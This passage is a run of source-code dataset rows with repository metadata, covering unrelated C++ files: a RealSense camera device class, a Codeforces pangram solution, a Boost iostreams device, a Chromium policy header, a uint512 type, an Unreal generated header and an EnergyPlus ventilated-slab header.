[mode_selection, archive, timestamp_reader](const void * frame) mutable
{
// Ignore any frames which appear corrupted or invalid
if(!timestamp_reader->validate_frame(mode_selection.mode, frame)) return;
// Determine the timestamp for this frame
int timestamp = timestamp_reader->get_frame_timestamp(mode_selection.mode, frame);
// Obtain buffers for unpacking the frame
std::vector<byte *> dest;
for(auto & output : mode_selection.get_outputs()) dest.push_back(archive->alloc_frame(output.first, timestamp));
// Unpack the frame and commit it to the archive
mode_selection.unpack(dest.data(), reinterpret_cast<const byte *>(frame));
for(auto & output : mode_selection.get_outputs()) archive->commit_frame(output.first);
});
}
this->archive = archive;
on_before_start(selected_modes);
start_streaming(*device, config.info.num_libuvc_transfer_buffers);
capture_started = std::chrono::high_resolution_clock::now();
capturing = true;
}
void rs_device::stop()
{
if(!capturing) throw std::runtime_error("cannot stop device without first starting device");
stop_streaming(*device);
capturing = false;
}
void rs_device::wait_all_streams()
{
if(!capturing) return;
if(!archive) return;
archive->wait_for_frames();
}
bool rs_device::poll_all_streams()
{
if(!capturing) return false;
if(!archive) return false;
return archive->poll_for_frames();
}
void rs_device::get_option_range(rs_option option, double & min, double & max, double & step)
{
if(uvc::is_pu_control(option))
{
int mn, mx;
uvc::get_pu_control_range(get_device(), config.info.stream_subdevices[RS_STREAM_COLOR], option, &mn, &mx);
min = mn;
max = mx;
step = 1;
return;
}
for(auto & o : config.info.options)
{
if(o.option == option)
{
min = o.min;
max = o.max;
step = o.step;
return;
}
}
throw std::logic_error("range not specified");
}
| [
"Qianyi.Zhou@gmail.com"
] | Qianyi.Zhou@gmail.com |
209eda446a307b96ca36b3c70e748438175dcd19 | 5a25e7372d6c6d888cd314cbd7653cf27705281e | /Sheets/Mohammed Affifi/ProblemSolving--Arabic/2- Frequency array/Pangram.cpp | 56337839652b2eb2ecadb73a99c4ae3dc7c908f7 | [] | no_license | omarelsobkey/Problem_Solving | 868bdd98ed88a2de58ca7d4ddf58d775be9c0176 | 607b34195a2f466b4ddf8e3ee2084fd6c1ef800f | refs/heads/master | 2023-02-24T12:25:48.695834 | 2021-01-31T15:51:41 | 2021-01-31T15:51:41 | 320,806,082 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 466 | cpp | // https://codeforces.com/problemset/problem/520/A
#include <iostream>
#include <cmath>
#include <cctype>
using namespace std;
int main()
{
int alpha[26] = { 0 }, n;
string word;
cin >> n >> word;
if (n < 26) {
cout << "NO\n";
}
else {
int counter = 0;
for (char x : word) {
alpha[tolower(x) - 'a']++;
}
for (int x : alpha) {
if (x > 0) counter++;
else break;
}
(counter == 26 ? cout << "YES\n" : cout << "NO\n");
}
return 0;
} | [
"omarelsobkey9009@gmail.com"
] | omarelsobkey9009@gmail.com |
0c138f7cf91c87a4440f86003ca825c61a983791 | bd4db4919da1655f62388246c0b88011bae5ecb5 | /icebridge_svn/trunk/gateway_server/sdk/container_device.h | 1d376cbf49fb851b5fc66c71574cdefc587c11ea | [] | no_license | qxiong133/cpp_framework | 0e567d914ea8e340ed6491b1837c9947a94b9308 | 076ecfed1ac71aa92d3c35394aab2fa064168cfe | refs/heads/master | 2020-04-24T19:42:13.873427 | 2015-03-26T08:32:18 | 2015-03-26T08:32:18 | 31,106,660 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,767 | h | // =====================================================================================
//
// Filename: container_device.h
//
// Description: ContainerDevice, implements the device concept in
// boost::iostreams, from boost/iostreams/example.
//
// Version: 1.0
// Created: 2010-05-14 21:12:26
// Revision: none
// Compiler: g++
//
// Author: liaoxinwei (Comet), cometliao@gmail.com
// Company: eddy
//
// =====================================================================================
#include <algorithm> // copy, min
#include <iosfwd> // streamsize
#include <boost/iostreams/categories.hpp> // source_tag
#include <boost/iostreams/positioning.hpp> // stream_offset
namespace eddy {
template<typename Container>
class ContainerDevice {
public:
typedef typename Container::value_type char_type;
typedef boost::iostreams::seekable_device_tag category;
typedef boost::iostreams::stream_offset stream_offset;
ContainerDevice(Container& container)
: container_(container), pos_(0)
{ }
std::streamsize read(char_type* s, std::streamsize n)
{
using namespace std;
streamsize amt = static_cast<streamsize>(container_.size() - pos_);
streamsize result = (min)(n, amt);
if (result != 0) {
std::copy( container_.begin() + pos_,
container_.begin() + pos_ + result,
s );
pos_ += result;
return result;
} else {
return -1; // EOF
}
}
std::streamsize write(const char_type* s, std::streamsize n)
{
using namespace std;
streamsize result = 0;
if (pos_ != container_.size()) {
streamsize amt =
static_cast<streamsize>(container_.size() - pos_);
result = (min)(n, amt);
std::copy(s, s + result, container_.begin() + pos_);
pos_ += result;
}
if (result < n) {
container_.insert(container_.end(), s + result, s + n);
pos_ = container_.size();
}
return n;
}
std::streamsize write(const unsigned int * s, std::streamsize n)
{
using namespace std;
streamsize result = 0;
if (pos_ != container_.size()) {
streamsize amt =
static_cast<streamsize>(container_.size() - pos_);
result = (min)(n, amt);
std::copy(s, s + result, container_.begin() + pos_);
pos_ += result;
}
if (result < n) {
container_.insert(container_.end(), s + result, s + n);
pos_ = container_.size();
}
return n;
}
stream_offset seek(stream_offset off, std::ios_base::seekdir way)
{
using namespace std;
// Determine new value of pos_
stream_offset next;
if (way == std::ios_base::beg) {
next = off;
} else if (way == std::ios_base::cur) {
next = pos_ + off;
} else if (way == std::ios_base::end) {
next = container_.size() + off - 1;
} else {
throw ios_base::failure("bad seek direction");
}
// Check for errors
if (next < 0 || next >= container_.size())
throw ios_base::failure("bad seek offset");
pos_ = next;
return pos_;
}
Container& container() { return container_; }
private:
typedef typename Container::size_type size_type;
Container& container_;
stream_offset pos_;
};
} // End namespace eddy
| [
"zhuangqunxiong@dkhs.com"
] | zhuangqunxiong@dkhs.com |
d5a177bee1df7d48a6a256384916bc5fe96ed1f4 | 9d364070c646239b2efad7abbab58f4ad602ef7b | /platform/external/chromium_org/components/policy/core/common/cloud/user_cloud_policy_manager.h | e191b6a122bb836e44183bec4f9dc0925ca1173f | [
"BSD-3-Clause"
] | permissive | denix123/a32_ul | 4ffe304b13c1266b6c7409d790979eb8e3b0379c | b2fd25640704f37d5248da9cc147ed267d4771c2 | refs/heads/master | 2021-01-17T20:21:17.196296 | 2016-08-16T04:30:53 | 2016-08-16T04:30:53 | 65,786,970 | 0 | 2 | null | 2020-03-06T22:00:52 | 2016-08-16T04:15:54 | null | UTF-8 | C++ | false | false | 2,213 | h | // Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_POLICY_CORE_COMMON_CLOUD_USER_CLOUD_POLICY_MANAGER_H_
#define COMPONENTS_POLICY_CORE_COMMON_CLOUD_USER_CLOUD_POLICY_MANAGER_H_
#include <string>
#include "base/basictypes.h"
#include "base/compiler_specific.h"
#include "base/files/file_path.h"
#include "base/memory/ref_counted.h"
#include "base/memory/scoped_ptr.h"
#include "components/policy/core/common/cloud/cloud_policy_manager.h"
#include "components/policy/policy_export.h"
class PrefService;
namespace base {
class SequencedTaskRunner;
}
namespace net {
class URLRequestContextGetter;
}
namespace policy {
class CloudExternalDataManager;
class DeviceManagementService;
class UserCloudPolicyStore;
class POLICY_EXPORT UserCloudPolicyManager : public CloudPolicyManager {
public:
UserCloudPolicyManager(
scoped_ptr<UserCloudPolicyStore> store,
const base::FilePath& component_policy_cache_path,
scoped_ptr<CloudExternalDataManager> external_data_manager,
const scoped_refptr<base::SequencedTaskRunner>& task_runner,
const scoped_refptr<base::SequencedTaskRunner>& file_task_runner,
const scoped_refptr<base::SequencedTaskRunner>& io_task_runner);
virtual ~UserCloudPolicyManager();
virtual void Shutdown() OVERRIDE;
void SetSigninUsername(const std::string& username);
virtual void Connect(
PrefService* local_state,
scoped_refptr<net::URLRequestContextGetter> request_context,
scoped_ptr<CloudPolicyClient> client);
void DisconnectAndRemovePolicy();
virtual bool IsClientRegistered() const;
static scoped_ptr<CloudPolicyClient> CreateCloudPolicyClient(
DeviceManagementService* device_management_service,
scoped_refptr<net::URLRequestContextGetter> request_context);
private:
scoped_ptr<UserCloudPolicyStore> store_;
base::FilePath component_policy_cache_path_;
scoped_ptr<CloudExternalDataManager> external_data_manager_;
DISALLOW_COPY_AND_ASSIGN(UserCloudPolicyManager);
};
}
#endif
| [
"allegrant@mail.ru"
] | allegrant@mail.ru |
38c244af4f13bc1dfeed7668baa8a8c800835f5d | 82dbfac2dcb667b472e3ca17657fb28334c7a0e8 | /src/uint512.h | 17ca210271cd62a54205e451b462fdbd45b8ee6c | [
"MIT"
] | permissive | GrinCash/GrincCore | 3a267a1fd49410aaf71de3c2ed49a1e4b6778f67 | 505e960567d30c1d6d0cdf17bac9493b3575e2cb | refs/heads/master | 2020-04-29T14:14:21.614368 | 2019-03-19T18:11:02 | 2019-03-19T18:11:02 | 176,190,351 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,299 | h | // Copyright (c) 2017-2018 The Pivx developers
// Copyright (c) 2017-2018 The GRINC developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef GRINC_UINT512_H
#define GRINC_UINT512_H
#include "arith_uint256.h"
#include "uint256.h"
/** 512-bit unsigned big integer. */
class uint512 : public base_blob<512>
{
public:
uint512() {}
uint512(const base_blob<512>& b) : base_blob<512>(b) {}
//explicit uint512(const std::vector<unsigned char>& vch) : base_uint<512>(vch) {}
explicit uint512(const std::vector<unsigned char>& vch) : base_blob<512>(vch) {}
//explicit uint512(const std::string& str) : base_blob<512>(str) {}
uint256 trim256() const
{
std::vector<unsigned char> vch;
const unsigned char* p = this->begin();
for (unsigned int i = 0; i < 32; i++) {
vch.push_back(*p++);
}
uint256 retval(vch);
return retval;
}
};
/* uint256 from const char *.
* This is a separate function because the constructor uint256(const char*) can result
* in dangerously catching uint256(0).
*/
inline uint512 uint512S(const char* str)
{
uint512 rv;
rv.SetHex(str);
return rv;
}
#endif // GRINC_UINT512_H
| [
"grincashcoin@yahoo.com"
] | grincashcoin@yahoo.com |
a0a29ea0120f9bda1ebd802fb357122c5e65679f | 7e48d392300fbc123396c6a517dfe8ed1ea7179f | /RodentVR/Intermediate/Build/Win64/RodentVR/Inc/Engine/AnimNode_LinkedInputPose.generated.h | 5361e29c87f6c49fdbbcbf7964c8b8196ff1d531 | [] | no_license | WestRyanK/Rodent-VR | f4920071b716df6a006b15c132bc72d3b0cba002 | 2033946f197a07b8c851b9a5075f0cb276033af6 | refs/heads/master | 2021-06-14T18:33:22.141793 | 2020-10-27T03:25:33 | 2020-10-27T03:25:33 | 154,956,842 | 1 | 1 | null | 2018-11-29T09:56:21 | 2018-10-27T11:23:11 | C++ | UTF-8 | C++ | false | false | 1,166 | h | // Copyright Epic Games, Inc. All Rights Reserved.
/*===========================================================================
Generated code exported from UnrealHeaderTool.
DO NOT modify this manually! Edit the corresponding .h files instead!
===========================================================================*/
#include "UObject/ObjectMacros.h"
#include "UObject/ScriptMacros.h"
PRAGMA_DISABLE_DEPRECATION_WARNINGS
#ifdef ENGINE_AnimNode_LinkedInputPose_generated_h
#error "AnimNode_LinkedInputPose.generated.h already included, missing '#pragma once' in AnimNode_LinkedInputPose.h"
#endif
#define ENGINE_AnimNode_LinkedInputPose_generated_h
#define Engine_Source_Runtime_Engine_Classes_Animation_AnimNode_LinkedInputPose_h_15_GENERATED_BODY \
friend struct Z_Construct_UScriptStruct_FAnimNode_LinkedInputPose_Statics; \
static class UScriptStruct* StaticStruct(); \
typedef FAnimNode_Base Super;
template<> ENGINE_API UScriptStruct* StaticStruct<struct FAnimNode_LinkedInputPose>();
#undef CURRENT_FILE_ID
#define CURRENT_FILE_ID Engine_Source_Runtime_Engine_Classes_Animation_AnimNode_LinkedInputPose_h
PRAGMA_ENABLE_DEPRECATION_WARNINGS
| [
"west.ryan.k@gmail.com"
] | west.ryan.k@gmail.com |
bbde56dbb7a616147eb93e3c775e42bdb4e8630e | d829d426e100e5f204bab15661db4e1da15515f9 | /src/EnergyPlus/VentilatedSlab.hh | 93267c83dae11dc5020656cbdf3ad9a0dbce46a5 | [
"BSD-2-Clause"
] | permissive | VB6Hobbyst7/EnergyPlus2 | a49409343e6c19a469b93c8289545274a9855888 | 622089b57515a7b8fbb20c8e9109267a4bb37eb3 | refs/heads/main | 2023-06-08T06:47:31.276257 | 2021-06-29T04:40:23 | 2021-06-29T04:40:23 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 24,834 | hh | // EnergyPlus, Copyright (c) 1996-2020, The Board of Trustees of the University of Illinois,
// The Regents of the University of California, through Lawrence Berkeley National Laboratory
// (subject to receipt of any required approvals from the U.S. Dept. of Energy), Oak Ridge
// National Laboratory, managed by UT-Battelle, Alliance for Sustainable Energy, LLC, and other
// contributors. All rights reserved.
//
// NOTICE: This Software was developed under funding from the U.S. Department of Energy and the
// U.S. Government consequently retains certain rights. As such, the U.S. Government has been
// granted for itself and others acting on its behalf a paid-up, nonexclusive, irrevocable,
// worldwide license in the Software to reproduce, distribute copies to the public, prepare
// derivative works, and perform publicly and display publicly, and to permit others to do so.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// (1) Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// (2) Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials
// provided with the distribution.
//
// (3) Neither the name of the University of California, Lawrence Berkeley National Laboratory,
// the University of Illinois, U.S. Dept. of Energy nor the names of its contributors may be
// used to endorse or promote products derived from this software without specific prior
// written permission.
//
// (4) Use of EnergyPlus(TM) Name. If Licensee (i) distributes the software in stand-alone form
// without changes from the version obtained under this License, or (ii) Licensee makes a
// reference solely to the software portion of its product, Licensee must refer to the
// software as "EnergyPlus version X" software, where "X" is the version number Licensee
// obtained under this License and may not use a different name for the software. Except as
// specifically required in this Section (4), Licensee shall not use in a company name, a
// product name, in advertising, publicity, or other promotional activities any name, trade
// name, trademark, logo, or other designation of "EnergyPlus", "E+", "e+" or confusingly
// similar designation, without the U.S. Department of Energy's prior written consent.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
// AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
#ifndef VentilatedSlab_hh_INCLUDED
#define VentilatedSlab_hh_INCLUDED
// ObjexxFCL Headers
#include <ObjexxFCL/Array1D.hh>
// EnergyPlus Headers
#include <EnergyPlus/DataGlobals.hh>
#include <EnergyPlus/EnergyPlus.hh>
namespace EnergyPlus {
namespace VentilatedSlab {
// Using/Aliasing
// Data
// MODULE PARAMETER DEFINITIONS
// Module Object
extern std::string const cMO_VentilatedSlab;
// Parameters for outside air control types:
extern int const Heating_ElectricCoilType;
extern int const Heating_GasCoilType;
extern int const Heating_WaterCoilType;
extern int const Heating_SteamCoilType;
extern int const Cooling_CoilWaterCooling;
extern int const Cooling_CoilDetailedCooling;
extern int const Cooling_CoilHXAssisted;
extern int const VariablePercent;
extern int const FixedTemperature;
extern int const FixedOAControl;
extern int const NotOperating; // Parameter for use with OperatingMode variable, set for no heating/cooling
extern int const HeatingMode; // Parameter for use with OperatingMode variable, set for heating
extern int const CoolingMode; // Parameter for use with OperatingMode variable, set for cooling
// Ventilated Slab Configurations
extern int const SlabOnly; // Air circulate through cores of slab only
extern int const SlabAndZone; // Circulated Air is introduced to zone
extern int const SeriesSlabs;
// Control Types
extern int const MATControl; // Controls system using mean air temperature
extern int const MRTControl; // Controls system using mean radiant temperature
extern int const OPTControl; // Controls system using operative temperature
extern int const ODBControl; // Controls system using outside air dry-bulb temperature
extern int const OWBControl; // Controls system using outside air wet-bulb temperature
extern int const SURControl; // Controls system using surface temperature !Phase2-A
extern int const DPTZControl; // Controls system using dew-point temperature of zone!Phase2-A
// coil operation
extern int const On; // normal coil operation
extern int const Off; // signal coil shouldn't run
extern int const NoneOption;
extern int const BothOption;
extern int const HeatingOption;
extern int const CoolingOption;
extern int OperatingMode; // Used to keep track of whether system is in heating or cooling mode
// DERIVED TYPE DEFINITIONS
// MODULE VARIABLE DECLARATIONS:
extern bool HCoilOn; // TRUE if the heating coil (gas or electric especially) should be running
extern int NumOfVentSlabs; // Number of ventilated slab in the input file
extern Real64 OAMassFlowRate; // Outside air mass flow rate for the ventilated slab
extern Array1D_double QRadSysSrcAvg; // Average source over the time step for a particular radiant surfaceD
extern Array1D<Real64> ZeroSourceSumHATsurf; // Equal to SumHATsurf for all the walls in a zone with no source
extern int MaxCloNumOfSurfaces; // Used to set allocate size in CalcClo routine
extern Real64 QZnReq; // heating or cooling needed by system [watts]
// Record keeping variables used to calculate QRadSysSrcAvg locally
extern Array1D_double LastQRadSysSrc; // Need to keep the last value in case we are still iterating
extern Array1D<Real64> LastSysTimeElapsed; // Need to keep the last value in case we are still iterating
extern Array1D<Real64> LastTimeStepSys; // Need to keep the last value in case we are still iterating
extern Array1D_bool CheckEquipName;
// Autosizing variables
extern Array1D_bool MySizeFlag;
// SUBROUTINE SPECIFICATIONS FOR MODULE VentilatedSlab
// PRIVATE UpdateVentilatedSlabValAvg
// Types
struct VentilatedSlabData
{
// Members
// Input data
std::string Name; // name of system
std::string SchedName; // availability schedule
int SchedPtr; // index to schedule
std::string ZoneName; // Name of zone the system is serving
int ZonePtr; // Point to this zone in the Zone derived type
// Variables for Delivery Config.
Array1D_string ZName; // Name of zone the system is serving
Array1D_int ZPtr; // Point to this zone in the Zone derived type
std::string SurfListName; // Name of surface/surface list that is the radiant system
int NumOfSurfaces; // Number of surfaces included in this system (coordinated control)
Array1D_int SurfacePtr; // Pointer to the slabs in the Surface derived type
Array1D_string SurfaceName; // Name of surfaces that are the radiant system (can be one or more)
Array1D<Real64> SurfaceFlowFrac; // Fraction of flow/pipe length for a particular surface
Array1D<Real64> CDiameter; // Number of core diameter
Array1D<Real64> CLength; // Number of core length
Array1D<Real64> CNumbers; // Number of core numbers
Array1D_string SlabIn; // Name of node that is slab inlet node
Array1D_string SlabOut; // Name of node that is slab outlet node
Real64 TotalSurfaceArea; // Total surface area for all surfaces that are part of this system
Real64 CoreDiameter; // tube diameter for embedded tubing
Real64 CoreLength; // tube length embedded in radiant surface
Real64 CoreNumbers; // tube length embedded in radiant surface
int ControlType; // Control type for the system
// (MAT, MRT, Op temp, ODB, OWB, DPTZ, Surf Temp.)
int ReturnAirNode; // inlet air node number
int RadInNode; // outlet air node number
int ZoneAirInNode; // outlet air node number
int FanOutletNode; // outlet node number for fan exit
// (assumes fan is upstream of heating coil)
int MSlabInNode;
int MSlabOutNode;
std::string FanName; // name of fan
int Fan_Index; // index of fan in array or vector
int FanType_Num; // type of fan
int ControlCompTypeNum;
int CompErrIndex;
Real64 MaxAirVolFlow; // m3/s
Real64 MaxAirMassFlow; // kg/s
int OAControlType; // type of control; options are VARIABLE PERCENT and FIXED TEMPERATURE
std::string MinOASchedName; // schedule of fraction for minimum outside air (all controls)
int MinOASchedPtr; // index to schedule
std::string MaxOASchedName; // schedule of percentages for maximum outside air fraction (variable %)
int MaxOASchedPtr; // index to schedule
std::string TempSchedName; // schedule of temperatures for desired "mixed air"
// temperature (fixed temp.)
int TempSchedPtr; // index to schedule
int OutsideAirNode; // outside air node number
int AirReliefNode; // relief air node number
int OAMixerOutNode; // outlet node after the outside air mixer (inlet to coils if present)
Real64 OutAirVolFlow; // m3/s
Real64 OutAirMassFlow; // kg/s
Real64 MinOutAirVolFlow; // m3/s
Real64 MinOutAirMassFlow; // kg/s
int SysConfg; // type of coil option; options are BOTH, HEATING, COOLING, AND NONE
int CoilOption; // type of coil option; options are BOTH, HEATING, COOLING, AND NONE
bool HCoilPresent; // .TRUE. if ventilated slab has a heating coil
int HCoilType; // type of heating coil (water, gas, electric, etc.)
std::string HCoilName; // name of heating coil
std::string HCoilTypeCh; // type of heating coil (character string)
int HCoil_Index;
int HCoil_PlantTypeNum;
int HCoil_FluidIndex;
std::string HCoilSchedName; // availability schedule for the heating coil
int HCoilSchedPtr; // index to schedule
Real64 HCoilSchedValue;
Real64 MaxVolHotWaterFlow; // m3/s
Real64 MaxVolHotSteamFlow; // m3/s
Real64 MaxHotWaterFlow; // kg/s
Real64 MaxHotSteamFlow;
Real64 MinHotSteamFlow;
Real64 MinVolHotWaterFlow; // m3/s
Real64 MinVolHotSteamFlow; // m3/s
Real64 MinHotWaterFlow; // kg/s
int HotControlNode; // hot water control node
int HotCoilOutNodeNum; // outlet of coil
Real64 HotControlOffset; // control tolerance
int HWLoopNum; // index for plant loop with hot water coil
int HWLoopSide; // index for plant loop side for hot water coil
int HWBranchNum; // index for plant branch for hot water coil
int HWCompNum; // index for plant component for hot water coil
std::string HotAirHiTempSched; // Schedule name for the highest Air temperature
int HotAirHiTempSchedPtr; // Schedule index for the highest Air temperature
std::string HotAirLoTempSched; // Schedule name for the lowest Air temperature
int HotAirLoTempSchedPtr; // Schedule index for the lowest Air temperature
std::string HotCtrlHiTempSched; // Schedule name for the highest control temperature
// (where the lowest Air temperature is requested)
int HotCtrlHiTempSchedPtr; // Schedule index for the highest control temperature
// (where the lowest Air temperature is requested)
std::string HotCtrlLoTempSched; // Schedule name for the lowest control temperature
// (where the highest Air temperature is requested)
int HotCtrlLoTempSchedPtr; // Schedule index for the lowest control temperature
// (where the highest Air temperature is requested)
bool CCoilPresent; // .TRUE. if ventilated slab has a cooling coil
std::string CCoilName; // name of cooling coil
std::string CCoilTypeCh; // type of cooling coil (character string)
int CCoil_Index;
std::string CCoilPlantName; // name of cooling coil (child<=CoilSystem:Cooling:Water:HeatExchangerAssisted)
std::string CCoilPlantType; // type of cooling coil (child<=CoilSystem:Cooling:Water:HeatExchangerAssisted)
int CCoil_PlantTypeNum;
int CCoilType; // type of cooling coil:
// 'Coil:Cooling:Water:DetailedGeometry' or
// 'CoilSystem:Cooling:Water:HeatExchangerAssisted'
std::string CCoilSchedName; // availability schedule for the cooling coil
int CCoilSchedPtr; // index to schedule
Real64 CCoilSchedValue;
Real64 MaxVolColdWaterFlow; // m3/s
Real64 MaxColdWaterFlow; // kg/s
Real64 MinVolColdWaterFlow; // m3/s
Real64 MinColdWaterFlow; // kg/s
int ColdControlNode; // chilled water control node
int ColdCoilOutNodeNum; // chilled water coil out nod
Real64 ColdControlOffset; // control tolerance
int CWLoopNum; // index for plant loop with chilled water coil
int CWLoopSide; // index for plant loop side for chilled water coil
int CWBranchNum; // index for plant branch for chilled water coil
int CWCompNum; // index for plant component for chilled water coil
std::string ColdAirHiTempSched; // Schedule name for the highest air temperature
int ColdAirHiTempSchedPtr; // Schedule index for the highest Air temperature
std::string ColdAirLoTempSched; // Schedule name for the lowest Air temperature
int ColdAirLoTempSchedPtr; // Schedule index for the lowest Air temperature
std::string ColdCtrlHiTempSched; // Schedule name for the highest control temperature
// (where the lowest Air temperature is requested)
int ColdCtrlHiTempSchedPtr; // Schedule index for the highest control temperature
// (where the lowest Air temperature is requested)
std::string ColdCtrlLoTempSched; // Schedule name for the lowest control temperature
// (where the highest Air temperature is requested)
int ColdCtrlLoTempSchedPtr; // Schedule index for the lowest control temperature
// (where the highest Air temperature is requested)
int CondErrIndex; // Error index for recurring warning messages
int EnrgyImbalErrIndex; // Error index for recurring warning messages
int RadSurfNum; // Radiant Surface Number
int MSlabIn; // Internal Slab Inlet Node Number
int MSlabOut; // INternal Slab Outlet Node Number
std::string DSSlabInNodeName;
std::string DSSlabOutNodeName;
// Report data
Real64 DirectHeatLossPower; // system direct heat loss in W
Real64 DirectHeatLossEnergy; // system direct heat loss in J
Real64 DirectHeatGainPower; // system direct heat gain in W
Real64 DirectHeatGainEnergy; // system direct heat gain in J
Real64 TotalVentSlabRadPower;
Real64 RadHeatingPower; // radiant heating output in watts
Real64 RadHeatingEnergy; // radiant heating output in J
Real64 RadCoolingPower; // radiant cooling output in watts
Real64 RadCoolingEnergy; // radiant cooling output in J
Real64 HeatCoilPower;
Real64 HeatCoilEnergy;
Real64 TotCoolCoilPower;
Real64 TotCoolCoilEnergy;
Real64 SensCoolCoilPower;
Real64 SensCoolCoilEnergy;
Real64 LateCoolCoilPower;
Real64 LateCoolCoilEnergy;
Real64 ElecFanPower;
Real64 ElecFanEnergy;
Real64 AirMassFlowRate; // Circulated air mass flow rate in kg/s
Real64 AirVolFlow; // Circulated air volumetric flow rate in m3/s
Real64 SlabInTemp; // Slab inlet temp in degree C
Real64 SlabOutTemp; // Slab outlet temp in degree C
Real64 ReturnAirTemp;
Real64 FanOutletTemp; // FanOutlet temp in degree C
Real64 ZoneInletTemp; // supply air temp
std::string AvailManagerListName; // Name of an availability manager list object
int AvailStatus;
int HVACSizingIndex; // index of a HVACSizing object for a ventilator slab
bool FirstPass; // detects first time through for resetting sizing data
// Default Constructor
VentilatedSlabData()
: SchedPtr(0), ZonePtr(0), NumOfSurfaces(0), TotalSurfaceArea(0.0), CoreDiameter(0.0), CoreLength(0.0), CoreNumbers(0.0), ControlType(0),
ReturnAirNode(0), RadInNode(0), ZoneAirInNode(0), FanOutletNode(0), MSlabInNode(0), MSlabOutNode(0), Fan_Index(0), FanType_Num(0),
ControlCompTypeNum(0), CompErrIndex(0), MaxAirVolFlow(0.0), MaxAirMassFlow(0.0), OAControlType(0), MinOASchedPtr(0), MaxOASchedPtr(0),
TempSchedPtr(0), OutsideAirNode(0), AirReliefNode(0), OAMixerOutNode(0), OutAirVolFlow(0.0), OutAirMassFlow(0.0), MinOutAirVolFlow(0.0),
MinOutAirMassFlow(0.0), SysConfg(0), CoilOption(0), HCoilPresent(false), HCoilType(0), HCoil_Index(0), HCoil_PlantTypeNum(0),
HCoil_FluidIndex(0), HCoilSchedPtr(0), HCoilSchedValue(0.0), MaxVolHotWaterFlow(0.0), MaxVolHotSteamFlow(0.0), MaxHotWaterFlow(0.0),
MaxHotSteamFlow(0.0), MinHotSteamFlow(0.0), MinVolHotWaterFlow(0.0), MinVolHotSteamFlow(0.0), MinHotWaterFlow(0.0), HotControlNode(0),
HotCoilOutNodeNum(0), HotControlOffset(0.0), HWLoopNum(0), HWLoopSide(0), HWBranchNum(0), HWCompNum(0), HotAirHiTempSchedPtr(0),
HotAirLoTempSchedPtr(0), HotCtrlHiTempSchedPtr(0), HotCtrlLoTempSchedPtr(0), CCoilPresent(false), CCoil_Index(0), CCoil_PlantTypeNum(0),
CCoilType(0), CCoilSchedPtr(0), CCoilSchedValue(0.0), MaxVolColdWaterFlow(0.0), MaxColdWaterFlow(0.0), MinVolColdWaterFlow(0.0),
MinColdWaterFlow(0.0), ColdControlNode(0), ColdCoilOutNodeNum(0), ColdControlOffset(0.0), CWLoopNum(0), CWLoopSide(0), CWBranchNum(0),
CWCompNum(0), ColdAirHiTempSchedPtr(0), ColdAirLoTempSchedPtr(0), ColdCtrlHiTempSchedPtr(0), ColdCtrlLoTempSchedPtr(0), CondErrIndex(0),
EnrgyImbalErrIndex(0), RadSurfNum(0), MSlabIn(0), MSlabOut(0), DirectHeatLossPower(0.0), DirectHeatLossEnergy(0.0),
DirectHeatGainPower(0.0), DirectHeatGainEnergy(0.0), TotalVentSlabRadPower(0.0), RadHeatingPower(0.0), RadHeatingEnergy(0.0),
RadCoolingPower(0.0), RadCoolingEnergy(0.0), HeatCoilPower(0.0), HeatCoilEnergy(0.0), TotCoolCoilPower(0.0), TotCoolCoilEnergy(0.0),
SensCoolCoilPower(0.0), SensCoolCoilEnergy(0.0), LateCoolCoilPower(0.0), LateCoolCoilEnergy(0.0), ElecFanPower(0.0), ElecFanEnergy(0.0),
AirMassFlowRate(0.0), AirVolFlow(0.0), SlabInTemp(0.0), SlabOutTemp(0.0), ReturnAirTemp(0.0), FanOutletTemp(0.0), ZoneInletTemp(0.0),
AvailStatus(0), HVACSizingIndex(0), FirstPass(true)
{
}
};
struct VentSlabNumericFieldData
{
// Members
Array1D_string FieldNames;
// Default Constructor
VentSlabNumericFieldData()
{
}
};
// Object Data
extern Array1D<VentilatedSlabData> VentSlab;
extern Array1D<VentSlabNumericFieldData> VentSlabNumericFields;
// Functions
void clear_state();
void SimVentilatedSlab(std::string const &CompName, // name of the fan coil unit
int const ZoneNum, // number of zone being served
bool const FirstHVACIteration, // TRUE if 1st HVAC simulation of system timestep
Real64 &PowerMet, // Sensible power supplied (W)
Real64 &LatOutputProvided, // Latent add/removal supplied by window AC (kg/s), dehumid = negative
int &CompIndex);
void GetVentilatedSlabInput();
void InitVentilatedSlab(int const Item, // index for the current ventilated slab
int const VentSlabZoneNum, // number of zone being served
bool const FirstHVACIteration // TRUE if 1st HVAC simulation of system timestep
);
void SizeVentilatedSlab(int const Item);
void CalcVentilatedSlab(int &Item, // number of the current ventilated slab being simulated
int const ZoneNum, // number of zone being served
bool const FirstHVACIteration, // TRUE if 1st HVAC simulation of system timestep
Real64 &PowerMet, // power supplied (W)
Real64 &LatOutputProvided // latent capacity supplied (kg/s)
);
